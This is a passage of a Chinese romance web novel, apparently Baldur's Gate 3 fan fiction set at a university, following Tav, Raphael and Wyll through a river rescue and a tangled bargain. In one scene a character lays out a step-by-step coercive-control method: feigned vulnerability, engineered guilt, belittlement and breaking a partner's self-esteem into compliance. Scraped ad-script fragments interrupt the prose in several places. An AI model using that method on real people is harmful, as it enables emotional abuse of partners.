塔夫头一探出水面,立刻狠狠吸了一大口气,手臂发麻像是灌了铅,双腿则软软的使不上力。 “塔夫!”影心如释重负地大喊。 “咳!咳!”塔夫想说我没事,却剧烈咳嗽起来。 身旁那人手臂牢牢钳住她,又换托为举,开始朝岸边游。 塔夫发现自己被仰面背着,头一直半浮出水面,知道对方有经验,心里稍安,连忙帮着一起划水:“不是我!我会……咳咳!” “别乱动!” 塔夫估计自己刚才的样子和溺水也没差多少,又看到还有另外一人正救起真正的麻烦鬼,更是放下心。她便干脆尽量放松,只仰头看着月亮。 身下那人游得很快,水性比她还好。塔夫几乎可以想象出对方每次划水时,肌肉绷紧后爆发,又迅速重新变得流畅的优美样子。几下功夫,两人离落水处已经一段距离,身边也不再有醉鬼。 塔夫冷得厉害,觉得自己游起来会好一点,再次开口:“我其实……啊!咕……” 她突然落回水中,接着听到那人声音带着压抑怒气的不悦:“闭嘴。” 她明明一直很配合的吧!塔夫差点呛了口水,有点恼火却也后怕,干脆在冰水里不再动。还好没过多久,那人慢下来,手臂力度也松了些。 他们已经到了码头那里。 塔夫提前憋足一口气,准备出其不意地游开再自己爬上岸,那人却突然施力让她垂直入水。 “?!”虽然这次脑袋一直在水面上,塔夫仍是怒气上涌。 那人一双大手握在她腰间,温度很高,暖得让她差点叹出声。接着他五指微微捏紧,手臂连着腰背一起用力,将她高高举起。 塔夫被整个托出水面又向前抛去,及时用手撑在木板上,才没有面朝下瘫落码头。 她刚喘出一口气,那双手已经搭上她身后木板边缘。 哗—— 一声水响。 塔夫回过头,正看到那人跃出水面。和她想象中一样,充满爆发力的流畅优美。 他向后拢了下湿漉漉的头发,注意到塔夫视线,冷笑一声。 啊,怪不得,难怪她刚才就觉得那声音有些耳熟。 连救人都能够这么惹人讨厌的,当然只能是拉斐尔了。 拉斐尔站起身,却没有伸出手要拽她起来的意思——哪怕他伸手了,她也不会接受他的帮助!塔夫被河水冻得四肢僵硬,正努力慢慢爬起,听到拉斐尔居高临下地轻哼: “这就是你能想到的最好方法?” . 11. 三人 “什……” 塔夫冷得下巴打颤,气势弱了一大截, “什…么?!” “你听到我问了什么。” 熟悉的回答,熟悉的语气。 塔夫被拉斐尔的话刺激,几乎是反射性地身体绷紧,一口气站直:“那个…咔哒…时候…”她被河边夜风一吹,浑身哆嗦得更厉害,牙齿止不住地打架。 ——不过她觉得这更多是被拉斐尔气的,“…咔哒…我是…咔哒…你?!” 她被拉斐尔打横抱起,惊得口齿伶俐起来:“你干什么!” “我可没兴趣和一个骷髅一字一字的讲话。你连话都说不清,能自己走吗?”拉斐尔像是心情很好地碰了两下后牙,“咔。哒。” 对方体温很高,塔夫不由自主地贴得更近,身子暖起来后连思维都更顺畅了,便立刻把话说完:“那个时候,我是唯一一个注意到呼救的。” “很好,又一个可笑的决定。”拉斐尔抱着塔夫边走边道,“有无数人在场的时候,不自量力地去救一个落水的人。” “你在说什么?周围一圈都是醉鬼。这还得感谢赛艇队的防护措施!” “你也知道赛艇队就在附近,还跳下去救人?” “因为……!”塔夫倒是真没想到这一点,“我虽然没有能力救他,但至少帮他吸引到了注意不是吗?” “这可真是个好方法。” “原来你是指这个。”塔夫有些羞恼也有些后怕,却不愿意输了气势,“没错,这是我当时能想到的最好的方法。虽然出了点意外,但不管怎么说,最后的结果……” “不,我指的是,你试图吸引我的注意。” “……正是我想要的……你说什么?” “你听到我说了……” “别再说那句了!” 二人一时都没有开口。塔夫看到不少人正提着灯陆续往码头赶,而拉斐尔却抱着她朝另一边的小屋走,奇怪道:“我们这是要去哪儿?” “突然转移话题吗。”拉斐尔只是低笑,胸口却跟着轻轻震起来,“很好的尝试,但这手段对我没用。” “你又在说什么?”塔夫翻了个白眼,补上讥讽,“谁会大冷天跳下水就是为了吸引你的注意?” “但最后的结果正是如此。” 塔夫被自己的话噎了下,气笑了:“不是每个人都是绕着你转的。” “用自己的安全吸引别人的注意,听上去像是真正的表演型人格。难怪你在戏剧社,希望自己是舞台的中心,关注的焦点。” 拉斐尔刻薄得厉害,还直接扭曲她的动机,再加上提起剧团的事,塔夫恨不得踢他一脚:“谁是那种人!就算我想吸引注意力,那也不是你的!” “不是我?”拉斐尔脚步一顿,又调整个姿势抱得更牢,“你今天没有试图找我?” “我……”塔夫的话被颠了回去。她今天是想找他谈谈没错,不过救人可不是为了找到他。 “哼。”拉斐尔了然地笑一声。 “我需要找你,还不是因为你?”塔夫愤怒地盯着他,“你知道这一点,我比任何人都希望,我不需要找你。” “你应该足够聪明,可以明白这一点:如果你真的想要远离我,最好的办法是一开始就接受我的提议,从而当场结束这交易。”拉斐尔垂眼看她,“而你没有。不仅如此,你多次拒绝我。你得到了你想要的。” “所以这还是我的错了?”塔夫眼睛睁圆。 “这是你做出的选择,不是吗?” 塔夫气得重重喘出几口气,这才能重新开口说话:“你放我下来!” 没想到拉斐尔居然毫不客气地直接将她丢了下去。 塔夫歪了一下才及时平衡住身子,站稳后又立刻向后退一步拉开距离,结果脚底踩上碎石,轻轻“嘶”了一声。 迅速几眼已经足够让她看清周围。 他们已经到小屋前,来时一路都是碎石铺成,直到这附近才有一小片草地。 她低头看到拉斐尔也赤着脚,又想起是他救下的自己,心里还是一软。 这意外是他们都没有想到的,她一直没说谢谢。她并不了解拉斐尔这么做的原因,他可能是想要帮朋友但是用错了方法…… “你可真厉害,总能选中最糟的方向。这是你的天赋吗。”拉斐尔冷笑着瞧她一眼,接着自顾自向前,一步跨上两级台阶,走上门廊。 她当然不了解拉斐尔。她以为对方听不懂讥讽,但他阴阳怪气含沙射影的功夫可厉害着呢! “你的方向感就很好吗?我们在这儿干嘛?派对明明在那边。” 拉斐尔已经推开门,扶着门不耐烦地转过身:“哈。所以,你又有了一个好主意,是这么一身湿漉漉地回去继续跳舞?还是……” 他突然扭过头。 “哈!你怎么不……”塔夫却也卡住了。 屋里透出暖橘色的光,但拉斐尔脸上的颜色明显不是因为灯光。他喉结上下滚动,湿透的衣服紧贴在身上,浅色衬衫下隐隐约约透出皮肤,看不清多少线条,轮廓却更加诱人。 想来她也是这样,还好她今天穿着深色的上衣。 “想要冻僵吗?”拉斐尔仍偏着头,催促声有些发颤。 塔夫像是忽然察觉到冷意,连忙双手环住自己,垂着眼慢慢走上前。她动作有些僵硬,心里却一片翻涌:你突然绅士起来什么啊!你突然脸红什么啊!你把气氛都弄得尴尬了!你刚才不是说得很开心吗!你不是都抱着我走了一路了吗! 她终于也后知后觉地涨红脸。 拉斐尔一直别过头不去看她,一听到脚步声踩上台阶就飞快说:“我去拿毛巾。” 砰——! 大门贴着她的鼻尖合上,塔夫站在门外,一脸呆滞。 她怔了半响,最后还是笑出声,好笑地摸上门把手。 湖蓝色的门把手简直像是用冰块雕成的,但似乎仍残留着拉斐尔的体温。 还好没有上锁,她可是真的有些冷。 . 拉斐尔一口气爬上二楼,直接走进和主卧相连的浴室又关上门,觉得自己需要冷静一下。 还好塔夫刚才没有问他为什么要亲自去救她,否则他岂不是犯了和她同样的错误。那时,当他听到塔夫的名字、意识到发生了什么时,为什么只用几秒就找到她,又为什么会瞬间又惊又怒,直接跳下水。 拉斐尔丢开一条太小的毛巾。 为什么。真是奇怪的问题。 当然是因为他和塔夫的交易还没有结束。 可以决定交易是否结束的人只能是他。 拉斐尔又丢开一条摸起来不够柔软的浴巾。 而且这样一来,他又有了更多筹码。 拉斐尔始终没有找到合适的毛巾,又发觉自己可能花了太长时间。事实上,他不知道自己找了多久。干脆用床单好了?不……他需要找一条让塔夫说不出任何话的完美毛巾。 最后,拉斐尔还是只得嫌弃地拿了两条最大的浴巾。他快步走下楼,却看到塔夫已经用不知道哪里翻出的厨房毛巾裹起头发,披着不知道那里找到的一件男士外套,正和不知道哪里跑来的一位男士有说有笑。 “……听上去像是拉斐尔……” “……哈哈,是吧。” “威尔。”拉斐尔声音冷了下来。 . 塔夫看到拉斐尔居然还是一身湿衣,连忙移开目光。 拉斐尔却盯着她:“我怎么会没有想到这一点。你想要吸引的注意力。” 威尔皱了下眉:“你在说什么?” 拉斐尔压着唇角:“所以,你们密谋了什么,我很期待。” “阿嚏!”塔夫刚要开口就打了个大喷嚏,又吸了吸鼻子。 “请看看时间和场合。”威尔要接过拉斐尔手中浴巾,没有拉动,“你在做什么?找毛巾找了很长时间,现在找到了却又不肯给?” “因为并不是给你的。”拉斐尔说着把浴巾递向塔夫。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 她居然从这箭拔弩张中品出些争风吃醋的味道。塔夫有些好笑地摇摇头,自己一定是被影心传染了。 “哎?!” 她头发一疼,却是拉斐尔没耐心地直接扯下她头上毛巾,又把浴巾盖在她发顶:“去一旁擦干。” 塔夫眼前一黑,更加无奈。 这可真是个乌龙。威尔是最先跟着他们找来的,这让她有些意外。而为了缓解尴尬,她才打趣几句拉斐尔去找毛巾,找那么久大概是因为想要先擦干自己、又顺便决定泡个热水澡换身衣服再说,结果就“说魔鬼,魔鬼到”,还是湿漉漉的拉斐尔。 她想要拨开挡住眼睛的浴巾,肩上一沉,是拉斐尔把第二条浴巾围在她身上,又用力裹紧。 “你轻点!”塔夫立刻抗议。 “塔夫?你们看到塔夫了吗?她刚才落水了,我以为我看到她来这边……” 这次终于是“想影心,影心到”。 “我在这儿。” 塔夫挣扎着从被扯得乱糟糟的头发和浴巾中探出脸来,并立刻发现自己和拉斐尔的距离又太近了,几乎是被对方用浴巾环在怀里。 威尔在她身旁半伸出手,似乎想要帮她。拉斐尔却一脸不悦地盯着威尔。 “呃?抱歉?打扰了。你们继续。我们在外面等。绝对不会偷听!”影心立刻说,“快后退,别跟一棵大橡树似的堵在这里。” 不需要看清脸,塔夫也认出跟在影心身后的大个子是哈尔辛。他似乎也在滴着水。 “没准他们想要我们也加入。”哪怕被影心用力推搡,哈尔辛语气仍然和善,“我们总是可以先问问看别人的想法。” 影心点点头:“嗯,你说的很有道理……才怪!你快点跟我一起出去!” 这两个家伙!塔夫哭笑不得。 “等一下。” 开口的却是拉斐尔。 塔夫:??? 影心:!!! 哈尔辛:“看,我说的没错。噢嗨,那不是拉斐尔和威尔吗?” 威尔终于尴尬地偏过头:“嗨,哈尔辛。” “你是塔夫的朋友?”拉斐尔没有放开塔夫,反而用力帮她擦了下头发,“回去帮她拿几件衣服。” 影心朝塔夫眨眨眼睛,怕她看不清又比了个手势:“收到。” 塔夫呲牙忍着疼:“等等,影心!太好了,你一直拎着我的鞋子。我跟你一起回去!” 拉斐尔不满道:“我们这里还没有结束。” 影心:我懂我懂。 哈尔辛:我也懂。 塔夫一脸痛不欲生地看着拉斐尔:“你是认真的?” 拉斐尔想了想,更正道:“或者说,还没有开始。” “我今天晚上不想再听到你说任何一个字!”塔夫一把推开拉斐尔,忙不迭走到门口,想起什么又转过身,对威尔说,“明天早上,十点。盖尔教授的办公室见。” 威尔连连点头:“当然。好的。明天见,塔夫。” 塔夫推着影心和哈尔辛出门,冒出一个念头,转身又指了指拉斐尔:“你明天也跟着一起来!” 拉斐尔冷哼一声,要说什么又想起塔夫威胁似的抿住唇,没有说一个字。 “都别迟到!”塔夫非常有气势地关上门,莫名有种一切尽在掌控的爽快之感,回头却看到影心和哈尔辛表情一模一样。 “喔哦。” “嚯哦。” “三个人!” “办公室!” “好刺激!” “真令人兴奋!” 塔夫终于恼羞成怒:“你们两个也都给我闭嘴!” 哈尔辛点点头,却又和善说:“先穿鞋子,需要帮忙吗?” 影心递给她:“噗!两只,二个一起。嘿嘿嘿!” “……影心!!!” 塔夫咬牙切齿,最后决定不跟喝了太多却还是能找到自己的醉鬼计较,一把接过鞋子, “谢谢。” . 12. 君主 隔音效果接近于无的室内,塔夫三人说笑声不断传来,终于渐行渐远。威尔表情古怪,最后扶住额头叹了一口气。 “他们在傻笑什么?”拉斐尔皱起眉,“你又在尴尬什么?” “这不可能。我以为你刚才是……” 瞧见拉斐尔嘴唇拉直,威尔却畅快地笑了一声,“我也许的确不够了解你。比如你今天做出的那些,我是指你第一时间跳入河中救下塔夫,这行为既勇敢,又善……” “你可以停住了。”拉斐尔及时打断他,不由自主地打了个寒颤,“你还在这里是想做什么?除了称赞我的美.好.品德以外。” “谈谈我们的交易。”威尔看着他的眼睛。 “哈。”拉斐尔冷笑,“我很期待。” “不过在那之前,让我们先帮你找一条浴巾。”威尔眼神变得真诚关切,“不能让救人的英雄染上风寒。” 拉斐尔:“……” 虽然抗拒,拉斐尔还是没能拒绝威尔的“贴心”照顾。 . 威尔瞧拉斐尔乖乖坐着,任由自己帮他擦干,偶尔被扯到头发,也只是斜他一眼——这反而让他想要多拽几下。 他之前确实对拉斐尔存在一些偏见,也许拉斐尔的性格并没有表现出来的那么恶劣。 可惜,没说两句,威尔就发现对方还是那个一言难尽的家伙。 “不。”拉斐尔语气像是听到什么好笑的笑话,但又毋庸置疑,“这不会发生。” 威尔解释:“我仍会加入赛艇队,包括你的那个兄弟会。” 拉斐尔道:“那是当然的。” “我不需要你再做什么,接下来是我和塔夫之间的事,这对你来说只会更容易。” “这件事不仅仅关于你和她。” “显然,你还并没有说服塔夫。这意味着她没有接受你的任何……” “我救了她。” “你是因为这个才去救的她?!”威尔不可置信。 “当然……不是。”拉斐尔蹙眉,“我指的是,你那句话的表述并不准确。” “就没有任何办法终止我和你之间的交易?你一定要把塔夫扯进这里?”威尔终于有些气馁,“别绕弯子了,告诉我,你还需要我做什么?” “听着,威尔。你不需要做什么,你只需要感到庆幸。” 威尔盯着拉斐尔,忽然忍不住嘲讽道:“这句话可还真是对贵族的贴切描述。你不需要做什么,只需要感到幸运。”他表情又带上一些苦涩, “一出生就在站在高台上,每个人都仰视你。可他们看到的并不是你,而是这座台子,你的父亲,你身后的家族。 “然而任何沮丧都是矫揉造作,你只能戴上面具扮演好这个台子上的角色。但你戴着这副面具越久,就越发现面具逐渐成为了你的脸。你有时甚至会忘记自己身下的台子,以为这一切都是你的功劳。” 拉斐尔望着他,眼睛里像是有流动的琥珀,没有说话。 “你认为我很奇怪。”威尔低哼一声,“我一出生就拥有种种特权,父亲是博德之门的高公爵,居然会为此感到沮丧?” “不,没有人——哪怕是贵族——能选择她或他的出身。而特权对于拥有它的人来说总是无形的,需要刻意注意才能发现。”拉斐尔声音放低,似乎对他感同身受。 威尔眼睛微微睁大:“拉斐尔,你也……” “以及是的,你很奇怪。你应当知道,我的帮助可不是免费的。如果你不肯面对任何低落情绪并把那当作是无病呻吟,我建议你约专业医生谈谈,而不是突然向我倾诉。拒绝承认需要专业人士的服务才是件奇怪的事,需要推荐吗?” “哈哈哈!哈哈!哈……你……” 威尔止住笑,又摇摇头,“说回刚才,你为什么认为我需要感到庆幸?” . 因为威尔带给他更感兴趣的目标。 不过当然,拉斐尔不会这么直接地告诉威尔。但他可以说服对方,让塔夫加入他们之间的交易,这对所有人——包括塔夫自己,都是有利的。 “而这一切,其实都需要感谢你。”拉斐尔最后对威尔说。 “老实讲,这和我想的有些不太一样。”威尔轻轻叹了口气,“不过除了最后那一句,我同意你说的大部分话。” . 事情和他想的也不太一样。 拉斐尔直接回到住处。 这已经是他第二次——算上梦里那次就是第三次,因为塔夫而感到不再是自己。 他当然知道那突然而来的紧绷是什么。他一向不太喜欢,也总能很快收回掌控。但这几次的感觉格外强烈,而且一次比一次更大声地呼喊着要求他的注意。那令他分心,甚至感到一丝屈辱:那一刻,他失去了控制,操纵身体的不是他的理智,而是本能、是冲动、是那感觉! 他需要更好的工具来反制塔夫。 . 沙发上,哈勒普正翘着脚念情诗,对象则是一片加了盐的腌黄瓜:“我那次与你分别时正值阳春!没有你,阳春于我如同严冬!” 他转头看向拉斐尔:“那感觉是什么?” 拉斐尔斟酌良久:“负面。” 哈勒普瞥了他一眼:“更具体些?” 拉斐尔再三思索:“愤怒。” “这样好了,直接描述你的身体感受。” “心跳加快,皮肤发烫,血液泵动失常,感受不到呼吸,以及失去对时间的判断。” 哈勒普吃掉腌黄瓜:“听上去,更像是你被她吸引了。” 拉斐尔斩钉截铁:“不可能!” “你的身体直接做出反应,这种情况并非不常见。” “她也被我吸引。”拉斐尔肯定地说,“我需要知道如何利用这一点。最好在明天之前。” 哈勒普慢慢坐直:“这种吸引力也许强烈,但不会持续太久。” “不过你有更好的办法。” “没错。”哈勒普微笑,“支配情感反应的《君主论》。” . 哈勒普已经越来越少有机会看到这样的拉斐尔——甚至拿出了笔记本和羽毛笔。这让他回想起拉斐尔还不到自己腰那么高,仰着脖子看自己的时候。 “步骤很简单。”哈勒普把回忆塞回脑后,清了清嗓子, “首先,让对方对你产生好感,被吸引。这一步我们直接跳过,因为你是拉斐尔。 “接下来,引导对方探索你的反差之处,你掩藏起来的脆弱。 “是的,必须是弱点。好吧,相对你自身而言的弱点。 “不,没必要是完全真实的,但最好别全是假的。因为这一步的目的是令对方感到心痛。 “并不是物理上的心痛。我知道这是一个玩笑。是的,怜悯,怜惜,怜爱。对!被雨淋湿的狗狗的感觉。” 哈勒普对拉斐尔举一反三联系过往知识的能力非常骄傲。 “下一步,令对方感到自己是特别的:看到了你从来没有展示给别人的角落,了解了你的内心,是唯一一个走入你的世界的人。 “到这里,就可以让对方意识到对你的着迷和喜爱,想要拯救你,并真正陷落。” 对于拉斐尔“为什么做这么多才会令对方着迷”的问题,哈勒普沉思片刻,才犹豫回答: “喜欢有很多层次。只有进入深层关系,对袒露真实情绪——哪怕是负面的——不再感到羞耻,彼此信任和亲密后,对方才不会在出现问题的时候轻易离开,从而为下一步做好准备。” 哈勒普及时阻止了拉斐尔的再次提问,因为他深知自己没办法回答“只要提供足够的利益,或者直接解决问题,对方为什么还会离开”这种质疑: “咳咳,最后一步了。” 他很满意拉斐尔“那我就勉强先听你说完”的反馈,继续说: “找到对方的弱点或错误——可以设计使对方犯错。在对方愧疚时,你需要放大这个错误,令对方陷入更深的自责,感到被贬低,最后崩溃。 “此时安慰对方,但保持足够的冷漠和失望:只有你,才是对方的拯救者。除了你,没有其他人会接受对方这种人。而哪怕对方如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此糟糕甚至变得更糟,你也会在对方身边。 “之后,反复强化这一点,直到摧毁对方的自我,从而变得顺从…… 羽毛笔终于停了下来,拉斐尔打断问:“这个理论是谁提出的?” “君主。这是他的《君主论》。” “原来如此。君主是指作者的名字。” “笔名或称号。没人知道他的真名,不过据传他是一位夺心魔。” “怪不得。所以才能让魔鬼听了都忍不住要说一句‘这可真够魔鬼的’。” 哈勒普咳嗽一声,不置可否:“但是很有效果。” “所以,变得更糟是指变成夺心魔吗?”拉斐尔讥讽地笑笑。 “有这个可能。”哈勒普停顿片刻,“但更主要是摧毁对方精神和自尊的话术。” “比起摧毁对手的精神,我宁愿看到一个人充满自尊并有坚定的想法。”拉斐尔轻哼,“虽然最后结果不外乎是甘心或不甘心地向我认输,但中间的挣扎和反抗才更令人着迷。” 哈勒普迟疑:“似乎也差不多?” 拉斐尔瞥他一眼:“差别是,我对被摧毁的人不感兴趣。不过,前面几步倒是可以尝试。” “但最后一步才是最关键……” “我会用其他方法。” 拉斐尔语气坚决,哈勒普就没再说起下去,心里却有些嘀咕: 没有最后一步,之前几步更像是普通的恋爱关系。自己之前是不是用了“彼此”信赖这种形容?不过拉斐尔应当能理解这是单向操作。当然,拉斐尔是为了更好地利用对塔夫的吸引力,自然能够领会。 . 尽管拉斐尔对这位“情感支配大师”君主的理论持保留意见,他倒是认同对方针对“弱点”的阐述。 他一向认为,渴望、魅力和脆弱三者之间有相通之处,而且正巧有一个非常好的例子——威尔。令威尔感到痛苦的,却也令他变得与众不同,推着他想要做点什么。 在普通人眼里,自己和威尔都是贵族,没什么区别。这看法自然可笑,但他可以利用这一点。从今天开始,威尔的苦涩就是他的心酸,威尔的挣扎就是他的弱点。 没人会看到贵族身份之下的……真正的他吗。 拉斐尔皱了下眉又很快舒展开。 他并不在乎这些。 . 拉斐尔醒来后,推测自己昨天晚上又做梦了。虽然他不记得任何内容,但睁开眼睛的时候感觉非常美妙。 深层的,紧密的。 被怜惜的,被看到的。 这也能被称为是美妙的感觉?作为被动的客体? 拉斐尔蹙眉回忆起梦境,却隐约看到塔夫的眼睛。在那张脸庞有机会清晰完整地出现前,他猛地坐起身。 这可真是见鬼了。 . 塔夫看着镜子中的自己。 红润健康,精力充沛,一夜无梦睡到第二天。 这可真是太好了。 昨晚她回去的路上就止不住地打喷嚏流鼻涕,还好直到被影心塞到被子里,也坚持没有喝哪怕一小口纯龙舌兰——影心让哈尔辛偷带的。 而现在,她终于有力气说影心两句:“受凉的时候喝烈酒只能缓解症状,起不到治疗效果!而且被抓到了怎么办?!” “知道啦,医生,你声音好吵。”影心扶着额头,看上去宿醉得厉害,倒像是病了一场,“抓不到的。因为喝完了。” “你真的还好吗?你……”塔夫顿了下,还是劝说,“少喝点吧。” “很偶尔啦。你知道我的。” 塔夫笑着摇摇头,递水杯她给:“让我们为庆祝‘影心打算戒酒’干一杯。” “那得喝一整瓶!”影心笑出声,又哎呦一声,“别担心,我会记得多喝水,下午就好了。你不是还要去见拉斐尔吗?” 不仅仅是拉斐尔。 塔夫想起昨天的打趣,没有说出口。而且她隐约觉得,威尔才会是这次谈判的中心。 不过令她没有想到的是,来的只有威尔。 . 13. 交易(一) 一见面,威尔就向塔夫非常正式地道歉。 他太过真诚郑重,塔夫抱着威尔皱巴巴还略带湿意的外套,反而难为情起来:“没关系。呃,对了,这是你的外套,不知道需不需要什么特殊处理,所以我直接带来了。” 威尔立刻接过:“谢谢你帮我带来。” 塔夫连忙道谢回去,正感叹对方的彬彬有礼,却又想起和拉斐尔火力全开的时候。虽然都是贵族,两个人的差异可真是明显。 她看着威尔把外套随手放在一旁,又一段凝滞的沉默后,先开口问:“拉斐尔呢?” “他会同你单独见面。稍后来。” 空气和对话重新流动起来。 并不意外的,昨天她离开后,威尔和拉斐尔没有立刻分别,而是继续谈了一些事。 虽然她是因为威尔才被牵扯进来,但威尔同意拉斐尔的看法,他没有必要探听塔夫与拉斐尔之间的私事和小秘密,除非塔夫愿意告诉他。 塔夫被“小秘密”这种形容惊了片刻,却也真的对告知威尔发生什么有些犹豫。威尔善解人意地说:“不需要现在就做决定。”塔夫松一口气,点点头。 尽管如此,威尔却主动告诉了塔夫他和拉斐尔的事。 他有机会修正自己的错误,但仍会付出一些代价。说到具体代价时,他明显踌躇起来:“加入赛艇队的兄弟会。” 塔夫一怔,又很快理解:“如果你并不愿意加入的话。”哪怕兄弟会再精英再受欢迎,对他来说也还是代价。 威尔笑了笑,没再继续说他的“付出”。而入会仪式就在今天晚上这种事,更没有必要提到。 至于修正错误,这是威尔真正想要和塔夫谈谈的地方。 他仍然希望可以不说出朋友的名字,只由他把对方的论文拿走——正如他三天前所做的那样。 其实,这也正是塔夫当初想要对拉斐尔做出的让步。 她知道有些地方仍不太对,但就课业上的结果来说,倒是没有什么影响。 至于那个犯了错却试图掩盖的学生,塔夫决定他可以从别的地方学到教训,而不是由她来给对方上一课。 “没有问题。”塔夫应下威尔的请求,看到他明显轻松下来的表情,迟疑片刻还是说, “但你知道的,只有三个人没有交这次的论文。登记成绩的时候,我可以很容易猜出他是谁。” 威尔叹一口气:“这学期结束,他会亲自来向你道歉。我会和他一起,我保证。” 荒谬的感觉再次升起,塔夫想说不必了却说不出口。 她瞧着威尔在论文中翻找,恍若回到三天前。 导火线上的火星仿佛一个错觉,那名学生的努力遮掩都只是徒劳。 她的生活和社团遭遇些变化——但应该很快就可以恢复原状,也如同一切都没有发生。 就好像朝池塘里投了一粒石子,波纹荡开后,池水重新变得平静,却连石子的影子都找不到。 而在这相同的开始和结尾中间,却是如此戏剧的三天。 也许几个月后,这会变成一个有趣的故事,但她现在身处其中只觉得无奈。 “这些都是为了什么?”塔夫看着威尔终于找到那张羊皮纸又小心抽出,忍不住问。 接着,她立刻意识到,这整件事中,只有威尔需要妥协。 她和威尔一同说出“抱歉”。 她道歉是因为戳到威尔痛处,威尔道歉应该是因为给她带来麻烦。 她和威尔相视一笑,又一起摇摇头说出“没关系”。 “这可真是太荒唐了。”塔夫笑出声,“我是指这整件事。” 威尔微笑点点头:“我知道。” “你不会怀疑……?” “会。但我没那么在意。” 塔夫不解地看着威尔。 如果说谁最有资格给那位一切始作俑者的学生上一堂课,那大概只能是威尔了。否则,他付出的“代价”,只换来了朋友的毫无收获? 但她最后只是说:“你很特别,我的意思是,你和拉斐尔很不一样。” 威尔垂下眼,唇角却仍是上扬的,微微躬身:“谢谢你,塔夫。” 塔夫抿了下唇,还想说什么,门边传来低音提琴般的声音,语气带着戏谑: “我不会这么自然地把那句话当成是夸赞。” 塔夫嘴边的话立刻变成:“这当然是一句夸赞。” 她转过头,果然看到拉斐尔。 拉斐尔轻笑,走到二人中间:“真令人惊讶,看来你们聊得还不错。” 塔夫回击道:“我总是无法理解你感到惊讶的立场是什么。” “你想知道?” “说实话,不想。不过你的观察没有错,我和威尔非常聊得来。” “他拥有你没有的特质,而且是你并不……” “如果我没记错的话,我刚才的回答是‘我不想知道’。” 威尔轻咳一声:“拉斐尔。” 拉斐尔瞧他一眼:“威尔。我来的太早了吗?” 塔夫:“问题应该是,你来了后,为什么要插入我和威尔的谈话。” 拉斐尔:“为了免于被质问:我来了后,为什么要偷听你们的谈话。” 威尔:“……没关系,我和塔夫已经谈妥了。” 塔夫:“……”不好意思,威尔。 她朝威尔飞快微笑了下表示歉意,威尔笑着轻轻点了下下巴。 拉斐尔冷哼,瞥着威尔:“那么,再见。” 威尔却仍望着塔夫。 塔夫想起之前那被推迟的决定,再次摇摆,最后还是偏向自己解决和拉斐尔之间的事,对威尔说: “春假之后,我们课上见。” “我可以留下来,如果你希望我在这里。”威尔像是看出她的犹豫,“我不会多问,也不会多说。” 塔夫怔愣。 威尔一向是个好学生。几次打交道下来,她发现他值得信赖,清楚他出于惭愧一定会帮助她。但也正因为他善良,她不希望他更加歉疚,反而不愿让他知道发生了什么。 拉斐尔似笑非笑:“我们晚上见,威尔。” 塔夫做出决定:“谢谢你,威尔。我没关系。下周见。” “如果你改变主意,我仍是你的听众。”威尔最后朝塔夫温和地笑笑,又轻轻鞠了一躬,告别离开。 . 塔夫慢慢呼出一口气,重新看向拉斐尔,正撞上他的视线,又瞧他模仿威尔的样子,冲她躬身笑笑,像是在说他也是她的忠实听众。 真是可恶,什么时候她才能习惯这张脸,而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不是下意识地感叹“真好看”或者胡乱联想! 不,她不需要习惯,她只需要不再见到。 塔夫清了下喉咙:“现在,我们可以谈谈我们之间的交易了,或者说,我需要你做什么。” 拉斐尔嘴唇仍弯成好看的弧度:“你没有发现这其中的问题吗?” 她居然忘记,还有一个方法可以有效让她忽视拉斐尔的脸——当他开口说话的时候。塔夫扬起眉毛:“你指的是这整件事有多可笑吗?” “哦?我很想听听看。” 塔夫心底涌上烦闷,面前这人大概率并不无辜,却一副置身事外的模样,便干脆不吐不快,又把不太好同威尔说的感受一起倒了出来,一边说一边注意拉斐尔的反应: “……最后一切回到原点,就好像什么都没有发生。到头来只有想要帮助朋友的威尔倒了霉,这可真够荒诞的。” 拉斐尔笑容看上去意外的真心:“这不是很有意思吗?” 塔夫盯着拉斐尔好一会。他只是大方让她瞧,那意思似乎是他很理解她为什么会欣赏他的脸,除此之外并无所动。 塔夫终于呼出一口气,这毕竟是威尔和拉斐尔之间的问题,而她也有其他需要解决的事: “该说正题了。我要求你……” “别这么着急,”拉斐尔仍微笑着,“那个问题还在呢。” 这到底跟她有什么关系,塔夫皱眉:“别打谜语了。” “我们之前交易的条件是,你保持沉默,从而换取向我提出一个要求的机会。”拉斐尔好心提醒的样子,“但现在,那已经不再成立。” 塔夫怔住,却直觉有哪里不对。 “而经过昨天晚上发生的事,”拉斐尔轻笑,“那个可以向对方提出要求的人,恐怕应该是我。” 塔夫咽了下口水,她的确欠拉斐尔一个谢谢,但他不需要道谢,而是要对自己提出一个要求。可是这样一来,剧团的问题又该怎么解决。 拉斐尔继续道:“不过,我可以把决定的权力分享给你,你想为我做些什么?” 这不太对。塔夫干脆从最开始厘清思路,却听拉斐尔仍在循循诱导: “我相信你的判断,也很感兴趣你会怎么做。希望你不会让我失望。” 越来越奇怪了,拉斐尔怎么会安这种好心。 塔夫屏蔽拉斐尔,努力思索。昨晚或更久之前,她没有说出口的提议是,按今天的方法解决论文和威尔的事,并要求拉斐尔处理剧团的麻烦——很可能还是他搞出来的。 交易的天平两端。 一端是她需要做的,已经和威尔达成一致并完成。另一端,就应该是拉斐尔需要做的事了。 至于落水被救,那是一个意外。她当然是感激的,但那是她与拉斐尔的私事,和威尔、和剧团、和这整件事并没有直接关系。 拉斐尔的声音像是在诱惑她快点做出决定:“在我没有失去耐心前,我也许可以考虑接受最简单的回报。” 塔夫重新看向拉斐尔,他到底在这里扮演一个什么角色。 “为什么威尔仍需要加入兄弟会?” 她最后还是回到了当初没有理解,却没有向威尔追问下去的问题,“他没有必要那么做。他答应了你什么?或者说,你承诺了他什么?” . 14. 交易(二) 塔夫忽然更加理解威尔当时的踌躇,以及没有多谈“加入兄弟会”的原因。 她当时只以为,威尔把别人求而不得的事称作是摧磨,担心他的那种态度会惹人生厌,所以才不愿多说。现在看来,那恐怕还是因为他这么做是为了她,又怕她知道了不肯接受或感到歉疚。 威尔和她想法是一样的,因为不想让对方感到不自在,反而一起避开了关键的问题。 又正如拉斐尔所说,她和拉斐尔之前的交易已经不再成立,她不能继续要求拉斐尔做什么。所以为了帮助她和剧团,威尔在天平一端加上了他的砝码? 不,不是这样。 